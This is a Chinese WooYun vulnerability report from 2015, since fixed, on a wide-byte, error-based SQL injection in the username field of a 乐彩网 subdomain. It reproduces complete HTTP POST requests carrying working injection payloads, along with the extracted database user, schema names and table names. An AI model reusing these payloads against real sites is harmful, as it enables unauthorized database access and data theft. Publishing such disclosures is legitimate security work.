当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0110233

漏洞标题：乐彩网某站宽字节报错注入

相关厂商：乐彩网

漏洞作者： 深度安全实验室

提交时间：2015-04-25 18:55

修复时间：2015-05-08 17:01

公开时间：2015-05-08 17:01

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-25： 细节已通知厂商并且等待厂商处理中
2015-04-25： 厂商已经确认，细节仅向厂商公开
2015-05-05： 细节向核心白帽子及相关领域专家公开
2015-05-08： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

http://bind.17500.cn/?c=find


宽字节注入：

POST /?c=find&a=result HTTP/1.1
Host: bind.17500.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://bind.17500.cn/?c=find
Cookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
utype=username&username=%bf%27&submit=%CB%D1%CB%F7

username参数，Sqlmap没跑出来，手动来吧。

1.jpg


先看看用户：

POST /?c=find&a=result HTTP/1.1
Host: bind.17500.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://bind.17500.cn/?c=find
Cookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 238
utype=username&username=%bf%27||(select 1 from(select count(*),concat((select concat(0x5e5e5e,user(),0x5e5e5e) from information_schema.tables limit 10,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=%CB%D1%CB%F7

2.jpg


user:root@bbs10


接下来是数据库：

POST /?c=find&a=result HTTP/1.1
Host: bind.17500.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://bind.17500.cn/?c=find
Cookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
utype=username&username=%bf%27||(select 1 from(select count(*),concat((select concat(0x5e5e5e,schema_name,0x5e5e5e) from information_schema.SCHEMATA limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=%CB%D1%CB%F7

3.jpg

10个库：

information_schema
bbslog
lottery
mysql
newlebi
performance_schema
test
uc
ucbak
uprofile


获取当前库中的表：

POST /?c=find&a=result HTTP/1.1
Host: bind.17500.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://bind.17500.cn/?c=find
Cookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
utype=username&username=%bf%27||(select 1 from(select count(*),concat((select concat(0x5e5e5e,table_name,0x5e5e5e) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=%CB%D1%CB%F7

4.jpg


有38个表，取前面几个吧：

uc_admin_js
uc_admins
uc_applications
uc_avatar_validate
uc_badwords
uc_domains
uc_failedlogins


因为开启了gpc，字段得全部进行提取，有点麻烦，后面的就不弄了。。。

漏洞证明：

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-25 22:18

厂商回复：

非常感谢提供漏洞信息，我们尽快修复。

最新状态：

2015-05-08：已经及时处理